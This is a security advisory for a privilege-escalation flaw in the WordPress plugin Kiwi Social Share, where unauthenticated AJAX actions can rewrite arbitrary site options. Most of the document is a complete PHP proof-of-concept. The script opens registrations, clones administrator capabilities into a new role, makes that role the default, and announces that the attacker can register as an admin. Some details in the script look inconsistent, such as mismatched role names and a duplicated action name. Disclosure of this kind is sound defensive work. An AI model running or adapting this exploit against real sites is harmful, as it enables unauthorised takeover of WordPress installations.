Kiwi Social Share – Social Media Share Buttons & Icons [Privilege Escalation]

WordPress plugin Kiwi Social Share – Social Media Share Buttons & Icons suffers for an Privilege Escalation vulnerability.

NOTE: While I was having this in my drafts for submission it was reported by another entity here

Description

Plugin implements the following AJAX actions:

  • kiwi_social_share_get_option
  • kiwi_social_share_get_option

Those actions are used by the plugin to set plugin options. The problem the option name and value is user defined and no sanitization or validation is taking place. This can be used by an attacker to update WordPress core option to arbitrary values, thus leading to a Privilege Escalation vulnerability.

Note that as those actions are also available to non-authenticated users, this attack is exploitable by anyone. In example a malicious actor can perform a serious of requests to the infected website in order to:

  1. Open registrations
  2. Set default user role to an arbitrary value
  3. Give this role unlimited rights
  4. Register a new user with this role

This attack is also exploitable through a CSRF.

PoC

#!/usr/bin/env php
<?php
/*******************************************************************************
 * Kiwi Social Share – Social Media Share Buttons & Icons [Privilege Escalation]
 *
 * To install deps run `composer require wordfence/exkit`.
 *
 * @author Panagiotis Vagenas <pan.vagenas@gmail.com>
 * @date   2017-10-03
 ******************************************************************************/

require_once __DIR__ . '/vendor/autoload.php';

use Wordfence\ExKit\Cli;
use Wordfence\ExKit\Config;
use Wordfence\ExKit\Endpoint;
use Wordfence\ExKit\ExitCodes;
use Wordfence\ExKit\Request;

Config::get( 'url.base', null, true, 'Enter the site URL' )
|| ExitCodes::exitWithFailedPrecondition( 'You must enter a valid URL' );

Cli::writeInfo( 'Checking if target is exploitable...' );

$postData = [
    'action' => 'kiwi_social_share_get_option',
    'args'   => [
        'group'   => '',
        'option'  => '',
        'default' => - 1,
    ],
];

$r = Request::post( Endpoint::adminAjaxURL(), [], $postData );

if ( ! $r->success ) {
    ExitCodes::exitWithFailed( 'Target not exploitable' );
}

Cli::writeSuccess( 'Target seems exploitable!' );

Cli::writeInfo( 'Checking if registration is open...' );

$postData = [
    'action' => 'kiwi_social_share_get_option',
    'args'   => [
        'group'   => 'users_can_register',
        'option'  => '',
        'default' => - 1,
    ],
];

$r = Request::post( Endpoint::adminAjaxURL(), [], $postData );

if ( ! $r->success ) {
    ExitCodes::exitWithFailed( 'Failed to retrieve a valid response' . $r->body );
}

$userCanRegister = json_decode( $r->body );

if ( ! $userCanRegister ) {
    Cli::writeInfo( 'Opening registrations...' );

    $postData = [
        'action' => 'kiwi_social_share_set_option',
        'args'   => [
            'group' => 'users_can_register',
            'value' => 1,
        ],
    ];

    $r = Request::post( Endpoint::adminAjaxURL(), [], $postData );

    if ( ! $r->success || $r->body != 'Success' ) {
        ExitCodes::exitWithFailed( 'Failed to retrieve a valid response: ' . $r->body );
    }
}

Cli::writeInfo( 'Getting admin capabilities...' );

$postData = [
    'action' => 'kiwi_social_share_get_option',
    'args'   => [
        'group'   => 'wp_user_roles',
        'option'  => 'administrator',
        'default' => - 1,
    ],
];

$r = Request::post( Endpoint::adminAjaxURL(), [], $postData );

if ( ! $r->success || $r->body == '-1' ) {
    ExitCodes::exitWithFailed( 'Failed to retrieve a valid response' . $r->body );
}

$adminCapabilities = json_decode( $r->body )->capabilities;

if ( ! $adminCapabilities ) {
    ExitCodes::exitWithFailed( 'Failed to retrieve a valid response' . $r->body );
}

Cli::writeSuccess( 'Acquired admin capabilities...' );

Cli::writeInfo( 'Adding a new role...' );

$postData = [
    'action' => 'kiwi_social_share_set_option',
    'args'   => [
        'group'  => 'wp_user_roles',
        'value'  => [ 'name' => '', 'capabilities' => $adminCapabilities ],
        'option' => 'aubscriber',
    ],
];

$r = Request::post( Endpoint::adminAjaxURL(), [], $postData );

if ( ! $r->success || $r->body != 'Success' ) {
    ExitCodes::exitWithFailed( 'Failed to retrieve a valid response: ' . $r->body );
}

Cli::writeSuccess( 'New role added...' );

Cli::writeInfo( 'Setting default role to the new custom role...' );

$postData = [
    'action' => 'kiwi_social_share_set_option',
    'args'   => [
        'group'  => 'default_role',
        'value'  => 'a',
        'option' => 0,
    ],
];

$s = new \Wordfence\ExKit\Session();
$s->XDebugOn();

$r = $s->post( Endpoint::adminAjaxURL(), [], $postData );

if ( ! $r->success || $r->body != 'Success' ) {
    ExitCodes::exitWithFailed( 'Failed to retrieve a valid response: ' . $r->body );
}

ExitCodes::exitWithSuccess( 'Exploitation successful, you can now register as an admin!' );

Solution

Partially fixed in the latest versions, though some options modifications is still possible using a CSRF attack.


WordPress Plugins Privilege Escalation
INFO
TIMELINE
  • 2018-12-07:
    Fix released